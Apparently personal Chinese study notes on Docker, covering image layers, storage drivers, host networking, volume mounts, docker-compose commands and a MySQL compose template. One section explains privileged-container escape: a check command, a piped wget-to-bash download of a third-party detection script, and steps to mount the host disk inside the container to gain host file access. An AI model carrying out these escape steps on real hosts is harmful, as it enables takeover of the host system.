如果在该镜像中添加Python包,就会在基础镜像层之上创建第二个镜像层;
如果继续添加一个安全补丁,就会创建第三个镜像层。
该镜像当前已经包含3个镜像层,如下图所示(这只是一个用于演示的很简单的例子)。
在添加额外的镜像层的同时,镜像始终保持是当前所有镜像的组合,理解这一点非常重要。下图中举了一个简单的例子,每个镜像
层包含3个文件,而镜像包含了来自两个镜像层的6个文件。
这种情况下,上层镜像层中的文件覆盖了底层镜像层中的文件。这样就使得文件的更新版本作为一个新镜像层添加到镜像当中。
Docker通过存储引擎(新版本采用快照机制)的方式来实现镜像层堆栈,并保证多镜像层对外展示为统一的文件系统。Linux上可用的存储引擎有AUFS、Overlay2、DeviceMapper、Btrfs以及ZFS。
顾名思义,每种存储引擎都基于Linux中对应的文件系统或者块设备技术,并且每种存储引擎都有其独有的性能特点。
Docker在Windows上仅支持windowsfilter一种存储引擎,该引擎基于NTFS文件系统之上实现了分层和CoW。
下图展示了与系统显示相同的三层镜像。所有镜像层堆叠并合并,对外提供统一的视图。
docker run命令有一个参数 设置网络模式, --network host 将当前创建的这个容器的网络和宿主机的网络并成一个网络环境, 也就是说, 此时宿主机的ip就是当前这个容器的ip, 他们是同一个人了
注意: 是无法使用lsof -i:端口号命令 查看处于容器中的占用端口号的服务的
-v 宿主机目录:容器目录
绝大多数官方软件的镜像 内部 是没有vim编辑器, 而且有可能连apt也没有
这个时候就需要使用-v数据卷映射 将容器内部的配置文件所在的目录 映射到宿主机中
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
脚本检测
wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash
利用
1.首先以特权模式运行一个docker容器
docker run -it --privileged d27b9ffc5667 /bin/bash
2.查看磁盘文件(容器内)
fdisk -l
3.vda1存在于/dev目录下
4.新建一个目录,将/dev/vda1挂载至新建的目录
mkdir /nuoyan
mount /dev/vda1 /nuoyan
5、挂载后就可以访问宿主机目录
sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
version: "3.0"
services:
myubuntu1:
# image: 镜像ID也可以
image: ubuntu:18.04
container_name: myubuntu1
ports:
- "8080:8080"
tty: true
常用命令
1. 在docker-compose.yml文件的同级目录下, 运行命令 docker-compose up -d 表明按照配置文件的内容创建对应的容器并在启动起来
2. docker-compose ps 专门用于查看当前配置文件创建出来的容器的运行状态
3. docker-compose stop 关闭此脚本创建的容器
4. docker-compose start 启动
5. docker-compose restart 重启
6. docker-compose down 关闭并摧毁容器
模板2
将docker命令变成模板
docker run --name some-secret-mysql-2 -d -p 8080:3306 -v /home/ubuntu/java24/mysqldata:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7 --default_storage_engine=InnoDB --lower_case_table_names=1 --max_allowed_packet=50M --character-set-server=utf8mb4 --sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
version: "3.0"
services:
mysql1:
# image: 镜像ID也可以
image: mysql:5.7
container_name: some-mysql-24
command:
--default_storage_engine=InnoDB
--lower_case_table_names=1
--max_allowed_packet=50M
--character-set-server=utf8mb4
--sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
volumes:
- /home/ubuntu/java24/mysqldata:/var/lib/mysql
environment:
MYSQL_ROOT_PASSWORD: root
ports:
- "8080:3306"
tty: true
写一个springboot程序, 访问8080端口的/hello后, 页面会显示hello, docker
要求将这个springboot程序部署在一个自定义的docker镜像中, 通过自定义的镜像创建的容器来启动应用